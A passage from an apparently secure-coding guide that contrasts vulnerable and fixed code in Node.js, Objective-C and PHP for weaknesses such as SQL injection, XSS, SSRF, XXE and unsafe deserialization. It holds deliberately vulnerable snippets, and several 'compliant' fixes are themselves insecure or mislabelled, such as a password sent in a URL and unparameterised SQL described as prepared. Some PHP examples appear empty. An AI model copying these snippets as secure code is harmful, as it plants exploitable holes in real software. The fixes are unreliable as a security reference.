Compare the calculated hash with a trusted hash const trustedHash = '...'; // Replace with the trusted hash return fileHash === trustedHash; } ``` In the compliant code, the application reads the file specified by the user using the fs.readFile() function and calculates its hash using a secure cryptographic hash function (sha256 in this example). The code then compares the calculated hash with a trusted hash to perform an integrity check using the isFileIntegrityValid() function. If the file's integrity is valid, the code allows the file to be downloaded using the res.download() function. Otherwise, an appropriate error response is sent. By implementing this approach, the compliant code ensures that files are downloaded only after passing an integrity check. This helps protect the application and its users from downloading potentially malicious or tampered files, reducing the risk of security vulnerabilities and compromising the system's integrity. ## Deserialization of Untrusted Data Noncompliant code: ```php const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const deserialize = require('deserialize'); // Middleware to parse JSON data app.use(bodyParser.json()); app.post('/user', (req, res) => { const userData = req.body; // Deserialize user data without validation const user = deserialize(userData); // Process user data // ... res.status(200).send('User data processed successfully'); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application exposes a POST endpoint /user that expects JSON data containing user information. The code uses the deserialize library to deserialize the JSON data into a user object without performing any validation or sanitization. This approach is insecure because it allows the deserialization of untrusted data, which can lead to remote code execution, object injection, or other security vulnerabilities. To address this issue, here's a compliant code example that incorporates proper validation and sanitization before deserializing the data: Compliant code: ```php const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const validateUser = require('./validateUser'); // Middleware to parse JSON data app.use(bodyParser.json()); app.post('/user', (req, res) => { const userData = req.body; // Validate user data const validationResult = validateUser(userData); if (validationResult.isValid) { // Sanitize user data const sanitizedData = sanitizeUserData(validationResult.data); // Deserialize user data const user = deserialize(sanitizedData); // Process user data // ... res.status(200).send('User data processed successfully'); } else { res.status(400).send('Invalid user data'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the application includes a validation step using the validateUser() function before deserializing the data. The validateUser() function performs necessary checks and returns a validation result object indicating whether the data is valid or not. If the data is valid, the code proceeds to sanitize the user data using the sanitizeUserData() function, which ensures that any potentially dangerous content is removed or properly handled. Finally, the sanitized data is deserialized using the deserialize() function, and the application can safely process the user data. By implementing this approach, the compliant code ensures that untrusted data is properly validated, sanitized, and deserialized, reducing the risk of deserialization vulnerabilities and protecting the application from potential security exploits. ## Insufficient Logging Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/user/:id', (req, res) => { const userId = req.params.id; // Fetch user from the database const user = db.getUser(userId); // Return user details res.status(200).json(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application has an endpoint /user/:id that retrieves user details based on the provided id. However, the code lacks sufficient logging, making it challenging to track and investigate potential issues or security events. Without proper logging, it becomes difficult to identify unauthorized access attempts, suspicious activities, or errors that occur during user retrieval. To address this issue, here's a compliant code example that incorporates sufficient logging practices: Compliant code: ```php const express = require('express'); const app = express(); const logger = require('winston'); // Configure logger logger.configure({ transports: [ new logger.transports.Console(), new logger.transports.File({ filename: 'app.log' }) ] }); app.get('/user/:id', (req, res) => { const userId = req.params.id; // Log the user retrieval event logger.info(`User retrieval requested for id: ${userId}`); // Fetch user from the database const user = db.getUser(userId); if (user) { // Log successful user retrieval logger.info(`User retrieved successfully: ${user.name}`); // Return user details res.status(200).json(user); } else { // Log unsuccessful user retrieval logger.warn(`User not found for id: ${userId}`); // Return appropriate error response res.status(404).json({ error: 'User not found' }); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the application incorporates the Winston logging library to log relevant events. The logger is configured with two transports: the console for immediate visibility during development and a file transport for persistent logging. The code adds logging statements to record important events such as user retrieval requests, successful user retrievals, and unsuccessful attempts. This information helps in tracking user interactions and identifying potential security issues or application errors. By implementing this approach, the compliant code ensures that sufficient logging is in place, providing valuable insights into the application's behavior, security-related events, and potential areas of concern. ## Improper Output Neutralization for Logs Noncompliant code: ```php const express = require('express'); const app = express(); const fs = require('fs'); app.get('/user/:id', (req, res) => { const userId = req.params.id; // Log the user retrieval event const logMessage = `User retrieval requested for id: ${userId}`; fs.appendFile('app.log', logMessage, (err) => { if (err) { console.error('Error writing to log file:', err); } }); // Fetch user from the database const user = db.getUser(userId); // Return user details res.status(200).json(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application logs the user retrieval event by directly appending the log message to a log file using fs.appendFile(). However, the log message is not properly neutralized, which can lead to log injection vulnerabilities. An attacker could potentially inject malicious content into the log message, leading to log forging or other security risks. To address this issue, here's a compliant code example that incorporates proper output neutralization for logs: Compliant code: ```php const express = require('express'); const app = express(); const fs = require('fs'); const { sanitizeLogMessage } = require('./utils'); app.get('/user/:id', (req, res) => { const userId = req.params.id; // Log the user retrieval event const logMessage = `User retrieval requested for id: ${sanitizeLogMessage(userId)}`; fs.appendFile('app.log', logMessage, (err) => { if (err) { console.error('Error writing to log file:', err); } }); // Fetch user from the database const user = db.getUser(userId); // Return user details res.status(200).json(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, a separate sanitizeLogMessage function is introduced to properly neutralize the log message. This function can apply necessary escaping or filtering techniques to prevent log injection attacks. The sanitizeLogMessage function should be implemented with appropriate techniques based on the log storage format and requirements. By using proper output neutralization, the compliant code ensures that any user-controlled input included in log messages is properly sanitized or encoded, preventing log injection vulnerabilities and maintaining the integrity and security of the log records. ## Omission of Security-relevant Information Noncompliant code: ```php const express = require('express'); const app = express(); app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; // Perform login logic if (loggedIn) { res.status(200).send('Login successful'); } else { res.status(401).send('Invalid credentials'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application handles user login functionality but fails to provide detailed error messages or log security-relevant information. When the login fails, it simply responds with a generic "Invalid credentials" message, which does not provide enough information to the user or the application administrators to understand the reason for the login failure. This lack of specific error information can make it difficult to troubleshoot and address security issues effectively. To address this issue, here's a compliant code example that includes security-relevant information in error messages and logs: Compliant code: ```php const express = require('express'); const app = express(); app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; // Perform login logic if (loggedIn) { res.status(200).send('Login successful'); } else { console.error(`Login failed for username: ${username}`); res.status(401).send('Invalid username or password'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, when the login fails, the application logs an error message that includes the username that failed to log in. Additionally, the response message is updated to provide a more informative error message, indicating that either the username or password is invalid. This improvement helps in identifying and troubleshooting login failures, as well as providing more meaningful feedback to the user. By including security-relevant information in error messages and logs, the compliant code enhances the application's security posture by improving visibility and enabling better incident response and debugging capabilities. ## Sensitive Information into Log File Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/user/:id', (req, res) => { const userId = req.params.id; // Fetch user information from the database const user = User.findById(userId); // Log user information console.log(`User information: ${user}`); res.status(200).json(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application logs sensitive user information using the console.log function. The user object, which contains potentially confidential data, is directly passed to the log statement. This practice can expose sensitive information to the log files, making them accessible to unauthorized users or increasing the risk of data leakage. To address this issue, here's a compliant code example that avoids logging sensitive information: Compliant code: ```php const express = require('express'); const app = express(); app.get('/user/:id', (req, res) => { const userId = req.params.id; // Fetch user information from the database const user = User.findById(userId); // Log a generic message instead of sensitive information console.log(`User requested: ${userId}`); res.status(200).json(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the application logs a generic message indicating that a user was requested, without directly exposing any sensitive information. By avoiding the logging of sensitive data, the compliant code helps protect user privacy and reduces the risk of data leakage through log files. It's important to remember that sensitive information should not be logged in clear text or in a format that can easily be traced back to specific individuals or data records. Proper log management practices should be followed, such as using log levels, sanitizing logs, and implementing access controls to restrict log file access to authorized personnel. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php const express = require('express'); const axios = require('axios'); const app = express(); app.get('/fetch', (req, res) => { const url = req.query.url; // Make a request to the provided URL axios.get(url) .then(response => { res.status(200).json(response.data); }) .catch(error => { res.status(500).json({ error: 'An error occurred while fetching the URL' }); }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application accepts a url query parameter from the user and directly makes a request to that URL using the axios library. This approach poses a significant security risk as an attacker can supply a malicious URL that targets internal network resources or exposes sensitive information. To mitigate the SSRF vulnerability, here's a compliant code example: Compliant code: ```php const express = require('express'); const axios = require('axios'); const { URL } = require('url'); const app = express(); app.get('/fetch', (req, res) => { const url = req.query.url; // Validate the URL to ensure it is not an internal resource const parsedUrl = new URL(url); if (parsedUrl.hostname !== 'example.com') { return res.status(400).json({ error: 'Invalid URL' }); } // Make a request to the provided URL axios.get(url) .then(response => { res.status(200).json(response.data); }) .catch(error => { res.status(500).json({ error: 'An error occurred while fetching the URL' }); }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the URL parameter is validated to ensure that it points to an allowed domain (example.com in this case) before making the request. By enforcing this validation, the code prevents SSRF attacks by only allowing requests to trusted external resources. It's important to note that the specific validation logic may vary depending on the application's requirements and security policies. The example above demonstrates a basic approach, but additional security measures such as IP whitelisting, input sanitization, and request timeout should be considered to further enhance SSRF protection. ================================================ FILE: docs/rules/objectivec.md ================================================ --- layout: default title: Objective C parent: Rules --- # Objective C {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## XML External Entity (XXE) Noncompliant code: ```java // Noncompliant code NSString *input = [request parameterForKey:@"input"]; NSLog(@"Processing input: %@", input); // Process the input without any validation or sanitization ``` In this noncompliant code, the input variable is obtained from a request object without any validation or sanitization. This code is vulnerable to various security risks, such as injection attacks (e.g., SQL injection, command injection) or Cross-Site Scripting (XSS) attacks. Attackers can manipulate the input to execute malicious code or access sensitive information. Compliant code: ```java // Compliant code NSString *input = [request parameterForKey:@"input"]; NSCharacterSet *allowedCharacterSet = [NSCharacterSet alphanumericCharacterSet]; NSString *sanitizedInput = [[input componentsSeparatedByCharactersInSet:[allowedCharacterSet invertedSet]] componentsJoinedByString:@""]; NSLog(@"Processing input: %@", sanitizedInput); // Process the sanitized input ``` In the compliant code, the input variable is sanitized by removing any characters that are not alphanumeric. This is achieved by using NSCharacterSet to define the allowed character set and filtering out the characters that are not part of the set. By sanitizing the input before processing it, you reduce the risk of security vulnerabilities. It's important to note that input sanitization requirements can vary depending on the specific use case and context. The example above provides a basic approach to sanitizing input, but it might not be sufficient for all scenarios. Depending on the desired input restrictions, you might need to employ more sophisticated techniques or use specialized libraries for input validation and sanitization. Additional security measures you can implement to address vulnerabilities in Objective-C include: * Using parameterized queries or prepared statements when interacting with databases to prevent SQL injection attacks. * Applying proper input validation based on expected data types, formats, or ranges. * Utilizing encryption libraries or frameworks to protect sensitive data at rest or in transit. * Implementing access controls and authentication mechanisms to ensure that only authorized users can access sensitive operations or resources. By applying these security measures and following best practices, you can mitigate vulnerabilities in Objective-C and enhance the overall security of your application. ================================================ FILE: docs/rules/php.md ================================================ --- layout: default title: PHP parent: Rules --- # PHP {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php // Noncompliant code - exposing sensitive information in error log function processUserInput($input) { // Process user input // ... // Log error with sensitive information error_log("Error processing user input: $input"); } ``` In this noncompliant code example, the function processUserInput() logs an error message that includes the user input directly into the error log. This can potentially expose sensitive information to anyone who has access to the error log file, including unauthorized users. Compliant code: ```php // Compliant code - avoiding exposure of sensitive information in error log function processUserInput($input) { // Process user input // ... // Log error without sensitive information error_log("Error processing user input"); // Log generic error message } ``` In the compliant code example, the function processUserInput() logs a generic error message without including the user input. By avoiding the inclusion of sensitive information in the error log, the code mitigates the risk of exposing sensitive data to unauthorized individuals. It's important to note that error logs should only contain information necessary for debugging and should not include any sensitive data. Additionally, it's recommended to configure error log settings appropriately and restrict access to the error log files to authorized personnel only. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php 'alice', 'password' => 's3cret')); $response = file_get_contents('https://example.com/api', null, stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/json\r\n", 'content' => $payload, ), ))); ?> ``` In the noncompliant code above, a user's password is included in a JSON payload that is sent to a remote API over HTTPS. However, since HTTPS only encrypts the payload in transit and not at rest, the password may be vulnerable to exposure if the remote API is compromised. Compliant code: ```php array( 'method' => 'GET', ), ))); ?> ``` In the compliant code above, the user's password is not included in the payload but is instead sent as a URL parameter using HTTPS. This ensures that the password is encrypted in transit and not vulnerable to exposure if the remote API is compromised. Note that using GET requests to send sensitive information is not recommended, but this example is just for illustration purposes. A POST request would be more appropriate in most cases. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php ``` In this noncompliant example, a form is submitted to a PHP script called "transfer.php" that transfers funds. The amount to be transferred is sent as a hidden form field called "amount". However, this code does not include any CSRF protection, meaning that an attacker could create a form on a different website that submits the same data to "transfer.php", tricking the user into transferring funds without their knowledge. Compliant code: ```php
``` In this compliant example, a unique token is generated and stored in a session variable before the form is displayed. The token is then included as a hidden field in the form. When the form is submitted, the token is checked in the PHP script to ensure that the request came from a legitimate source. If the token is missing or invalid, the transfer is not allowed. This provides a basic protection against CSRF attacks, as the attacker would not be able to generate a valid token without having access to the user's session data. ## Use of Hard-coded Password Noncompliant code: ```php // This code includes a hard-coded password directly in the script $password = "MyHardCodedPassword123"; $connection = mysqli_connect("localhost", "myuser", $password, "mydatabase"); ``` Compliant code: ```php // This code stores the password in a separate configuration file with restricted access $config = parse_ini_file("/etc/myapp/config.ini"); $connection = mysqli_connect("localhost", "myuser", $config['db_password'], "mydatabase"); ``` Hard-coded passwords in code are a security risk as they can be easily discovered by attackers and used to gain unauthorized access. In the noncompliant code example, the password is directly included in the script, making it vulnerable to exposure. The compliant code example addresses this issue by storing the password in a separate configuration file with restricted access. This helps to protect the password from being easily discovered by attackers and limits its exposure to authorized personnel who have access to the configuration file. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php function encryptData($data, $key) { $iv = mcrypt_create_iv(16, MCRYPT_DEV_RANDOM); $encryptedData = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv); return $encryptedData; } ``` In this example, the function encryptData() uses the mcrypt_encrypt() function with the MCRYPT_RIJNDAEL_128 algorithm for encryption. This algorithm is considered insecure and vulnerable to attacks. Compliant code: ```php function encryptData($data, $key) { $iv = openssl_random_pseudo_bytes(16); $encryptedData = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return base64_encode($iv . $encryptedData); } ``` In this example, the encryptData() function uses the openssl_encrypt() function with the aes-256-cbc algorithm for encryption, which is currently considered secure. Additionally, it uses openssl_random_pseudo_bytes() to generate a random initialization vector (IV) for each encryption, which improves the security of the encryption. Broken or risky cryptographic algorithms are often used in applications and systems to protect sensitive data. However, the use of such algorithms can lead to vulnerabilities that can be exploited by attackers. In the noncompliant code example, the mcrypt_encrypt() function with the MCRYPT_RIJNDAEL_128 algorithm is used for encryption, which is considered insecure and vulnerable to attacks. In the compliant code example, the openssl_encrypt() function with the aes-256-cbc algorithm is used instead, which is currently considered secure. Additionally, the openssl_random_pseudo_bytes() function is used to generate a random initialization vector for each encryption, which further enhances the security of the encryption. ## Insufficient Entropy Noncompliant code: ```php $token = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8); ``` Insufficient entropy can lead to weak or easily guessable keys, tokens, or passwords, making them susceptible to brute-force attacks. The above code generates a random token of 8 characters by shuffling a fixed set of characters. However, the set of characters is too small, and the token is easily guessable and susceptible to brute-force attacks. Compliant code: ```php $token = bin2hex(random_bytes(16)); ``` The above code generates a random token of 16 bytes using the random_bytes() function, which generates cryptographically secure pseudo-random bytes. The bin2hex() function converts the binary data into a hexadecimal string. The resulting token is much stronger and less susceptible to brute-force attacks. In general, to avoid insufficient entropy vulnerability, it is recommended to use a cryptographically secure random number generator, such as random_bytes() or openssl_random_pseudo_bytes(), and ensure that the output has sufficient entropy, such as by using a sufficiently large key size or password length. ## XSS Noncompliant code: ```php ``` This code is noncompliant because it takes input directly from the user through the URL parameter "username" and displays it on the page without any validation or sanitization. An attacker could exploit this by injecting malicious JavaScript code into the "username" parameter, which would then execute in the user's browser, allowing the attacker to perform actions on the user's behalf or steal sensitive information. Compliant code: ```php ``` This code is compliant because it uses the PHP `htmlspecialchars` function to sanitize the user input in the "username" parameter. This function converts special characters such as `<`, `>`, and `&` to their HTML entity equivalents, preventing them from being interpreted as code by the browser. The `ENT_QUOTES` flag ensures that both single and double quotes are converted to their corresponding entities, and the `'UTF-8'` parameter specifies the character encoding used. By using this function, the code effectively mitigates the risk of XSS attacks. ## SQL Injection Noncompliant code: ```php $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'"; $result = mysqli_query($conn, $sql); ``` This code is vulnerable to SQL injection attacks because it uses user input directly in the SQL query without any validation or sanitization. An attacker can easily manipulate the input and inject malicious SQL code. Compliant code: ```php $username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']); $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'"; $result = mysqli_query($conn, $sql); ``` This code uses mysqli_real_escape_string function to escape special characters in the user input, making it safe to use in the SQL query. However, it's worth noting that parameterized queries or prepared statements are generally a better approach for preventing SQL injection in PHP. Here's an example of how to use parameterized queries: Compliant code with parameterized query: ``` $username = $_POST['username']; $password = $_POST['password']; $stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); $result = $stmt->get_result(); ``` This code uses a parameterized query with placeholders (?) for the user input and binds the values using bind_param function, which is a safer way to prevent SQL injection attacks. ## External Control of File Name or Path Noncompliant code: ```php $filename = $_GET['filename']; $file = '/path/to/directory/' . $filename; if (file_exists($file)) { // do something with the file } else { // handle error } ``` In the example above, the `$filename` variable is taken directly from user input via the `$_GET` superglobal. This means an attacker can manipulate the value of `$filename` to try to access files outside of the intended directory. Compliant code: ```php $filename = basename($_GET['filename']); $file = '/path/to/directory/' . $filename; if (file_exists($file) && is_file($file)) { // do something with the file } else { // handle error } ``` In the compliant code, the `basename()` function is used to extract only the file name portion of the user input. This helps to prevent directory traversal attacks. Additionally, the `is_file()` function is used to ensure that the path corresponds to an actual file rather than a directory or symlink. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php ``` In this noncompliant code, the application displays an error message that reveals the fact that the username or password entered was incorrect, which could help an attacker in a brute-force attack. Compliant code: ```php ``` In the compliant code, the application returns the same error message for an incorrect username or password, making it more difficult for an attacker to determine which field was incorrect. Additionally, the application could be configured to log error messages that contain sensitive information, while providing a more generic error message to the user. This would allow the system administrator to identify and fix any errors while keeping sensitive information from being exposed to potential attackers. ## unprotected storage of credentials Noncompliant code: ```php $username = $_POST['username']; $password = $_POST['password']; $file = fopen('credentials.txt', 'w'); fwrite($file, "Username: $username, Password: $password"); fclose($file); ``` Compliant code: ```php $username = $_POST['username']; $password = $_POST['password']; $hashedPassword = password_hash($password, PASSWORD_DEFAULT); $dbConnection = mysqli_connect('localhost', 'user', 'password', 'mydatabase'); $query = "INSERT INTO users (username, password) VALUES ('$username', '$hashedPassword')"; mysqli_query($dbConnection, $query); ``` The noncompliant code above writes the entered username and password to a text file without any encryption or protection. This could lead to a potential data breach if the text file falls into the wrong hands. In the compliant code, the password is first hashed using the PHP password_hash() function, which uses a strong one-way hashing algorithm to securely store the password. The hashed password is then stored in a database using a prepared statement to prevent SQL injection attacks. ## Trust Boundary Violation Noncompliant code: ```php $user_id = $_GET['id']; $query = "SELECT * FROM users WHERE id = ".$user_id; $results = mysqli_query($conn, $query); ``` In the noncompliant code, the value of `$user_id` is taken directly from `$_GET`, which is an untrusted source, and then used in a SQL query without any validation or sanitization. This can allow an attacker to modify the SQL query and potentially extract or modify sensitive data from the database. Compliant code: ```php $user_id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT); if ($user_id === false) { // handle invalid input } else { $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $user_id); $stmt->execute(); $results = $stmt->get_result(); } ``` In the compliant code, the value of `$user_id` is filtered using `filter_input()` with the `FILTER_VALIDATE_INT` filter, which ensures that the value is an integer. Then, a prepared statement is used to safely pass the value to the SQL query. This prevents SQL injection attacks by properly separating the query logic from the data values. ## Insufficiently Protected Credentials Noncompliant code: ```php $password = $_POST['password']; $hashed_password = sha1($password); $query = "INSERT INTO users (username, password) VALUES ('{$_POST['username']}', '{$hashed_password}')"; mysqli_query($conn, $query); ``` In this code, the user's password is retrieved from the `$_POST` request without any validation or sanitation, and then hashed using the SHA-1 algorithm, which is no longer considered secure for password storage. Additionally, the hashed password is then inserted directly into a SQL query, which could be vulnerable to SQL injection attacks. Compliant code: ```php $password = $_POST['password']; if (strlen($password) < 8) { // Handle error: password must be at least 8 characters long } $salt = bin2hex(random_bytes(16)); $hashed_password = password_hash($password . $salt, PASSWORD_ARGON2ID); $stmt = $conn->prepare("INSERT INTO users (username, password, salt) VALUES (?, ?, ?)"); $stmt->bind_param("sss", $_POST['username'], $hashed_password, $salt); $stmt->execute(); ``` In this code, the user's password is first validated to ensure it is at least 8 characters long. Then, a random 16-byte salt is generated using a cryptographically secure random number generator. The password and salt are then hashed using the Argon2id algorithm, which is currently considered one of the most secure password hashing algorithms. Finally, the prepared statement is used to insert the username, hashed password, and salt into the database, protecting against SQL injection attacks. ## Restriction of XML External Entity Reference Noncompliant code: ```php $xml = simplexml_load_string($xmlstring, 'SimpleXMLElement', LIBXML_NOENT); // use $xml here ``` In the noncompliant code, LIBXML_NOENT is used as an option to the simplexml_load_string function. This allows the XML parser to process entity references, which can be used by an attacker to inject malicious code and execute it on the server. Compliant code: ```php $disableEntities = libxml_disable_entity_loader(true); $xml = simplexml_load_string($xmlstring, 'SimpleXMLElement', LIBXML_NOENT); libxml_disable_entity_loader($disableEntities); // use $xml here ``` In the compliant code, libxml_disable_entity_loader is used to disable the loading of external entities in the XML parser. This prevents the parser from resolving external entity references, effectively mitigating the XXE vulnerability. ## display_errors 1 Noncompliant code: ```php // Example of security misconfiguration ini_set('display_errors', 1); ``` In the noncompliant code example, the ini_set() function is used to enable the display of errors to the user. This can potentially expose sensitive information and error messages to attackers. Compliant code: ```php // Example of secure configuration // Disable the display of errors to the user ini_set('display_errors', 0); // Log errors to a secure log file instead ini_set('error_log', '/var/log/php_errors.log'); ``` In the compliant code example, the ini_set() function is used to disable the display of errors to the user, and instead log them to a secure log file. This helps to ensure that sensitive information is not exposed to attackers and that any errors are properly logged for debugging purposes. ## Vulnerable and Outdated Components ### PHPMailer library Noncompliant code: ```php IsSMTP(); $mail->SMTPDebug = 1; $mail->SMTPAuth = true; $mail->SMTPSecure = 'ssl'; $mail->Host = 'smtp.gmail.com'; $mail->Port = 465; $mail->Username = 'example@gmail.com'; $mail->Password = 'password'; $mail->SetFrom('from@example.com', 'From Name'); $mail->AddReplyTo('reply@example.com', 'Reply-to Name'); $mail->Subject = 'Test email'; $mail->Body = 'This is a test email'; $mail->AddAddress('recipient@example.com', 'Recipient Name'); if (!$mail->Send()) { echo 'Message could not be sent.'; echo 'Mailer Error: ' . $mail->ErrorInfo; } else { echo 'Message has been sent.'; } ?> ``` The noncompliant code example shows the use of an outdated version of the PHPMailer library, which is vulnerable to security exploits. Specifically, it uses a vulnerable authentication method that can be exploited to gain unauthorized access to the email account, and it sends emails over an insecure connection. Compliant code: ```php SMTPDebug = SMTP::DEBUG_SERVER; $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; $mail->SMTPAuth = true; $mail->Username = 'example@gmail.com'; $mail->Password = 'password'; $mail->SMTPSecure = PHPMailer\PHPMailer\PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->setFrom('from@example.com', 'From Name'); $mail->addAddress('recipient@example.com', 'Recipient Name'); $mail->isHTML(true); $mail->Subject = 'Test email'; $mail->Body = 'This is a test email'; if (!$mail->send()) { echo 'Message could not be sent.'; echo 'Mailer Error: ' . $mail->ErrorInfo; ``` The compliant code example uses the latest version of the PHPMailer library, which has improved security and is up-to-date with the latest security best practices. Specifically, it uses a secure authentication method, sends emails over an encrypted connection, and is set up to display server-side debug information in case of errors. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php $host = $_SERVER['HTTP_HOST']; $opts = array('ssl' => array('verify_peer' => true, 'CN_match' => $host)); $context = stream_context_create($opts); $data = file_get_contents('https://example.com', false, $context); ``` In the noncompliant code above, the `$host` variable is set to the HTTP host provided by the client. This means that an attacker can easily manipulate the HTTP host header and bypass certificate validation by setting a different host. This can lead to man-in-the-middle attacks. Compliant code: ```php $host = 'example.com'; $opts = array('ssl' => array('verify_peer' => true, 'CN_match' => $host)); $context = stream_context_create($opts); $data = file_get_contents('https://'.$host, false, $context); ``` In the compliant code above, the `$host` variable is set to a trusted value, `example.com`. This ensures that the certificate is validated against the correct host and reduces the risk of man-in-the-middle attacks. ## Improper Authentication Noncompliant code: ```php // Example 1: Weak Password $password = $_POST['password']; if ($password === 'password123') { // Allow access } else { // Deny access } // Example 2: Hardcoded Credentials $username = 'admin'; $password = 'password'; if ($_POST['username'] === $username && $_POST['password'] === $password) { // Allow access } else { // Deny access } ``` The noncompliant code examples illustrate two common improper authentication issues. The first example shows the use of a weak password that can easily be guessed by attackers. The second example shows the use of hardcoded credentials that can be easily discovered by attackers. Compliant code: ```php // Example 1: Strong Password $password = $_POST['password']; if (password_verify($password, $hashedPassword)) { // Allow access } else { // Deny access } // Example 2: Stored Credentials $username = $_POST['username']; $password = $_POST['password']; // Validate the user's credentials against a secure database if (validateCredentials($username, $password)) { // Allow access } else { // Deny access } ``` The compliant code examples address these issues by using strong password hashing algorithms and storing user credentials securely in a database. The first example uses the `password_verify` function to compare the user's input password with a hashed password stored in the database. The second example validates the user's credentials against a secure database, rather than using hardcoded credentials in the application code. ## Session Fixation Noncompliant code: ```php ``` In the noncompliant code above, the session ID is generated when `session_start()` is called. However, the authenticated session is not regenerated after a successful login. This leaves the user's session vulnerable to session fixation attacks. Compliant code: ```php ``` In the compliant code above, the `session_regenerate_id()` function is called after a successful login to regenerate the session ID. This ensures that the user's session is protected against session fixation attacks. ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php ``` In this code, an attacker can control the `url` parameter and specify a malicious URL that contains code to be executed within the application's context. This can lead to arbitrary code execution, information disclosure, and other security issues. Compliant code: ```php ``` In the compliant code, input validation is added to ensure that the `url` parameter is a valid URL before including the remote file. This reduces the risk of including a malicious file and protects against potential code execution and other security issues. ## Download of Code Without Integrity Check Noncompliant code: ```php $url = 'https://example.com/package.tar.gz'; $pkg = file_get_contents($url); file_put_contents('/tmp/package.tar.gz', $pkg); system('tar -xvf /tmp/package.tar.gz'); ``` In this example, the code downloads a tarball package from a remote location and extracts its contents. However, the code does not verify the integrity of the downloaded package before use, making it susceptible to tampering by attackers. Compliant code: ```php $url = 'https://example.com/package.tar.gz'; $hash = file_get_contents($url . '.sha256'); $pkg = file_get_contents($url); if (hash('sha256', $pkg) === trim($hash)) { file_put_contents('/tmp/package.tar.gz', $pkg); system('tar -xvf /tmp/package.tar.gz'); } else { throw new Exception('Package hash does not match expected value'); } ``` In the compliant code, the integrity of the downloaded package is verified using a SHA-256 hash. The hash is downloaded from a trusted source (e.g., the package repository), and the downloaded package is compared with the expected hash. If the hashes match, the package is stored and extracted; otherwise, an exception is raised. ## Deserialization of Untrusted Data Noncompliant code: ```php // Noncompliant code for Deserialization of Untrusted Data // unserialize() function is used to deserialize the input data from a string $userData = unserialize($_COOKIE['user']); // Use the data from $userData $name = $userData['name']; $id = $userData['id']; ``` In this noncompliant code, the `unserialize()` function is used to deserialize the user input data from the `$_COOKIE` array directly, without any validation or sanitization. This can be dangerous because an attacker can manipulate the input data to execute malicious code during the deserialization process. Compliant code: ```php // Compliant code for Deserialization of Untrusted Data // Deserialize the input data after validating and sanitizing it $userData = json_decode(filter_input(INPUT_COOKIE, 'user', FILTER_SANITIZE_STRING)); // Use the data from $userData if (isset($userData->name)) { $name = $userData->name; } if (isset($userData->id)) { $id = $userData->id; } ``` In this compliant code, the input data from the `$_COOKIE` array is first validated and sanitized using the `filter_input()` function with the `FILTER_SANITIZE_STRING` filter. Then, the input data is deserialized using the `json_decode()` function, which is safer than `unserialize()` because it only deserializes JSON-formatted data. Finally, the data from `$userData` is used only after checking that the expected properties exist using `isset()`, which reduces the risk of accessing unexpected properties or executing malicious code. ## Insufficient Logging Noncompliant code: ```php function transferMoney($amount, $recipient) { // some code to transfer money // ... // log the transaction file_put_contents('transaction.log', "Transfered $amount to $recipient", FILE_APPEND); } ``` In the above code, the transferMoney function logs transaction information to a file, but the logging is insufficient. There are no timestamps, severity levels, or any other useful information that could help detect or investigate security incidents. Compliant code: ```php function transferMoney($amount, $recipient) { // some code to transfer money // ... // log the transaction with useful information $log = fopen('transaction.log', 'a'); if ($log) { $datetime = date('Y-m-d H:i:s'); $severity = 'INFO'; $message = "Transfered $amount to $recipient"; $entry = "$datetime [$severity]: $message\n"; fwrite($log, $entry); fclose($log); } else { error_log('Unable to open transaction log file'); } } ``` In the compliant code, the `transferMoney` function logs transaction information to a file with useful information, such as a timestamp, severity level, and a formatted message. Additionally, the function handles errors that might occur while logging, such as the inability to open the log file, by logging an error message to the system log. This helps ensure that security incidents can be detected and investigated quickly and effectively. ## Improper Output Neutralization for Logs Noncompliant code: ```php $username = $_POST['username']; $password = $_POST['password']; // log the username and password to a file file_put_contents('logs.txt', 'Username: '.$username.' Password: '.$password); ``` In the noncompliant code example, the `$_POST` variables are not sanitized before being logged to the file. This could allow an attacker to 